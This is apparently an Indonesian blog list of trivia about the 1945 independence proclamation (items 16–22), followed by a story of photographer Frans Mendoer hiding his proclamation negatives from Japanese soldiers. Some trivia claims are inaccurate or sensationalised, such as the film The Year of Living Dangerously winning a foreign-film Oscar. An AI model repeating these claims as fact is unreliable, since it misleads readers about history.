Sutan Sjahrir, mantan Perdana Menteri RI pertama, menjadi orang Indonesia yang memiliki prestasi “luar biasa” dan tidak akan pernah ada yang menandinginya. Waktu beliau wafat, 1966 di Zurich, Swiss, statusnya ialah sebagai “tahanan politik“. Tetapi, waktu dimakamkan di Jakarta beberapa hari kemudian, statusnya berubah sebagai “Pahlawan Nasional Indonesia“.

16. 17 Agustus Merupakan Tanggal Kematian Bagi Pencetus Pilar Indonesia

Bila 17 Agustus menjadi tanggal kelahiran Indonesia, justru tanggal tersebut menjadi tanggal kematian bagi pencetus pilar Indonesia. Pada tanggal itu, pencipta lagu kebangsaan “Indonesia Raya”, WR. Soepratman (wafat 1937), dan pencetus ilmu bahasa Indonesia, Herman Neubronner van der Tuuk (wafat 1894).

17. Hubungan Antara Revolusi Indonesia dan Hollywood Memang Dekat.

Setiap 1 Juni, selalu diperingati sebagai Hari Lahir Pancasila semasa Presiden Soekarno. Pada 1956, peristiwa tersebut “hampir secara kebetulan” dirayakan di sebuah hotel Hollywood.

Bung Karno saat itu mengundang aktris legendaris, Marylin Monroe, untuk sebuah makan malam di Hotel Beverly Hills, Hollywood. Hadir di antaranya Gregory Peck, George Murphy dan Ronald Reagan (25 tahun kemudian menjadi Presiden AS).

Yang unik dari pesta menjelang Hari Lahir Pancasila itu, adalah kebodohan Marilyn dalam hal protokol. Pada pesta itu, Maryln menyapa Bung Karno bukan dengan “Mr. President” atau “Your Excellency”, tetapi dengan “Prince Soekarno”.

18. Setting Revolusi di Indonesia Diangkat Ke Dalam Film

Ada lagi hubungan erat antara 17 Agustus dan Hollywood. Judul pidato 17 Agustus 1964, ‘Tahun Vivere Perilocoso’ (Tahun yang Penuh Bahaya), telah dijadikan judul sebuah film ‘The Year of Living Dangerously‘.

Film tersebut menceritakan pegalaman seorang wartawan Australia yg ditugaskan ke Indonesia pada 1960-an, pada detik2 menjelang peristiwa berdarah th 1965. Pada 1984, film yang dibintangi Mel Gibson itu mendapat Oscar untuk kategori film asing.

19. Bendera Merah Putih dan Perayaan Tujuh Belasan Bukan Hanya di Indonesia

Bendera Merah Putih dan perayaan tujuh belasan bukanlah monopoli Indonesia. Corak benderanya sama dengan corak bendera Kerajaan Monaco dan hari kemerdekaannya sama dengan hari proklamasi Republik Gabon (sebuah negara di Afrika Barat) yang merdeka 17 Agustus 1960.

Selain itu, masih menjadi perdebatan apakah lagu Indonesia Raya benar-benar merupakan karya asli WR Supratman, ataukah ‘terinspirasi‘ oleh lagu Perancis, ‘Les Marseilles‘, yg memiliki nada-nada yg sangat mirip?

20. Kalimantan Dipimpin 3 Kepala Negara

Menurut Proklamasi 17 Agustus 1945, Kalimantan adalah bagian integral wilayah hukum Indonesia. Kenyataannya, pulau tersebut paling unik di dunia. Di pulau tersebut, terdapat 3 kepala negara yang memerintah. Presiden Soeharto (memerintah 4 wilayah provinsi), PM Mahathir Mohamad (Sabah dan Serawak, Malaysia), serta Sultan Hassanal Bolkiah (Brunei Darussalam).

21. Ibukota Negara Indonesia Berpindah Sampai Tiga Kali

Belum ada negara di dunia ini, yang memiliki ibukota sampai tiga dalam kurun waktu relatif singkat. Antara 1945 dan 1948, Indonesia mempunyai 3 ibukota, yakni : Jakarta (1945-1946), Yogyakarta (1946-1948), dan Bukittinggi (1948-1949).

22. Akbar Tanjung Jadi Menteri Pertama “Orang Indonesia Asli”

Setelah merdeka 43 tahun, Indonesia baru memiliki seorang menteri pertama yang benar-benar ‘orang Indonesia asli‘. Karena semua menteri sebelumnya lahir sebelum 17 Agustus 1945. Itu berarti, mereka pernah menjadi warga Hindia Belanda dan atau pendudukan Jepang, sebab negara hukum Republik Indonesia memang belum ada saat itu.

Orang Indonesia asli‘ pertama yang menjadi menteri adalah Ir. Akbar Tanjung (lahir di Sibolga, Sumatera Utara, 30 Agustus 1945), sebagai Menteri Negara Pemuda dan Olah Raga pada Kabinet Pembangunan (1988-1993), era pemerintahan Soeharto.

Demikian misteri-misteri seputar proklamasi kemerdekaan Republik Indonesia. Sejarah yang begitu sakral untuk seluruh rakyat Indonesia, karena berawal dari sanalah Indonesia dapat menjadi sebuah negara yang merdeka, mandiri, yang tidak lagi ditindas oleh kesemena-menaan para bangsa penjajah.

Sumber : evolution-viets.blogspot.com, berbagai sumber lainnya

Created By….
viets jeremy

Satu- satunya orang yang mengabadikan foto proklamasi kemerdekaan RI 17 Agustus 1945

Frans Soemarto Mendoer

Fotografi memang bukan hanya menjadi saksi sejarah, tapi juga menjadi bukti sejarah hidup manusia dan peristiwa-peristiwa yang melingkupinya. Dengan keberadaan foto, banyak orang bisa diingatkan dan disadarkan tentang suatu hal. Frans Soemarto Mendoer sangat memahami hal tersebut. Karena itulah, setelah mendapat kabar dari seorang sumber di harian Jepang Asia Raya bahwa akan ada kejadian penting di rumah kediaman Soekarno, Frans langsung bergerak menuju rumah bernomor 56 di Jalan Pegangsaan Timur itu sambil membawa kamera Leica-nya. Dan benar, pagi itu, Jumat, 17 Agustus 1945, sebuah peristiwa penting berlangsung di sana: pembacaan teks proklamasi kemerdekaan bangsa Indonesia oleh Soekarno.

Saat itu Frans hanya memiliki sisa tiga lembar plat film. Jadi dari peristiwa bersejarah itu, ia hanya bisa mengabadikan tiga adegan. Yang pertama, adegan Soekarno membacakan teks proklamasi. Yang kedua, adegan pengibaran bendera Merah Putih yang dilakukan oleh Latief Hendraningrat, salah seorang anggota PETA. Dan yang ketiga, suasana ramainya para pemuda yang turut menyaksikan pengibaran bendera. Setelah menyelesaikan tugas jurnalisnya itu, Frans langsung bergegas meninggalkan rumah kediaman Soekarno karena menyadari bahwa tentara Jepang tengah memburunya.

Frans menjadi satu-satunya orang yang mengabadikan momen sakral itu karena Alex Alexius Impurung Mendoer, kakak kandungnya yang juga sempat memotret prosesi bersejarah tersebut, harus merelakan kameranya dirampas oleh tentara Jepang.

Dan sewaktu tentara Jepang menemui Frans untuk meminta negatif foto Soekarno yang sedang membacakan teks proklamasi, Frans mengaku film negatif itu sudah diambil oleh Barisan Pelopor. Padahal negatif foto peristiwa yang sangat penting itu ia sembunyikan dengan cara menguburnya di tanah, dekat sebuah pohon di halaman belakang kantor harian Asia Raya. Kalau saja saat itu negatif film tersebut dirampas tentara Jepang, maka mungkin generasi sekarang dan generasi yang akan datang tidak akan tahu seperti apa peristiwa sakral tersebut.

Bahkan, mengenai kehadiran Frans di rumah Soekarno pada waktu itu, wartawan senior Alwi Shahab menulis “Andaikata tidak ada Frans Mendoer, maka kita tidak akan punya satu foto dokumentasi pun dari peristiwa proklamasi kemerdekaan…” Tulisan itu dimuat di harian Republika edisi Minggu, 14 Agustus 2005, tiga hari menjelang peringatan Hari Ulang Tahun Proklamasi Kemerdekaan Negara Kesatuan Republik Indonesia yang ke-60.

Pencucian tiga buah foto bersejarah itu juga tidaklah mudah karena dihalang-halangi pihak Jepang. Frans bersama Alex terpaksa secara diam-diam harus mengendap, memanjat pohon pada malam hari, dan melompati pagar di samping kantor Domei (sekarang kantor berita ANTARA) untuk bisa sampai ke sebuah lab foto guna mencetak foto-foto tersebut. Padahal, bila dua bersaudara itu tertangkap oleh tentara Jepang, mereka akan dipenjara, bahkan dihukum mati.

Foto pembacaan Proklamasi Kemerdekaan Indonesia itu pertama kali dimuat di harian Merdeka pada tanggal 20 Februari 1946, lebih dari setengah tahun setelah pembuatannya. Film negatif catatan visual itu sekarang sudah tak dapat ditemukan lagi. Ada dugaan bahwa negatif film itu ikut hancur bersama semua dokumentasi milik kantor berita Antara yang dibakar pada peristiwa di tahun 1965. Waktu itu, sepasukan tentara mengambil seluruh koleksi negatif film dan hasil cetak foto yang dimiliki Antara lalu membakarnya.

Created By….

viets jeremy